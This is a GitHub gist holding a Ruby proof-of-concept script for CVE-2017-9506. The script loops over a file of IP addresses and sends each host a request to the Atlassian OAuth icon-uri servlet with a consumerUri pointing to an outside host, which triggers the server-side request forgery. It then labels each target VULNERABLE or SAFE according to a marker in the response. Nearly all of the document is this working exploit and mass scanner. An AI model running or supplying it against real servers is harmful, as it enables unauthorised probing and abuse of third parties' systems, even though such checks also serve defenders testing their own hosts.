Created
January 8, 2019 17:01
-
-
Save Techbrunch/2d8f1aff55140f9c856500b8977649e3 to your computer and use it in GitHub Desktop.
POC CVE-2017-9506.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'httparty' | |
require 'colorize' | |
File.readlines(ARGV[0]).each do |ip| | |
ip.strip! | |
begin | |
print "ip: #{ip} - " | |
response = HTTParty.get("http://#{ip}/plugins/servlet/oauth/users/icon-uri?consumerUri=http://remote", | |
{timeout: 5, verify: false, headers: { "User-Agent" => "POC" }}) | |
if response.code != 200 && response.code != 404 | |
print "Status - #{response.code} - ".colorize(:yellow) | |
end | |
if response.body =~ /0643033901/i | |
puts "VULNERABLE".colorize(:red) | |
else | |
puts "SAFE".colorize(:green) | |
end | |
rescue HTTParty::RedirectionTooDeep | |
puts "Too many redirections".colorize(:orange) | |
rescue Net::OpenTimeout, Net::ReadTimeout | |
puts "Timeout".colorize(:yellow) | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment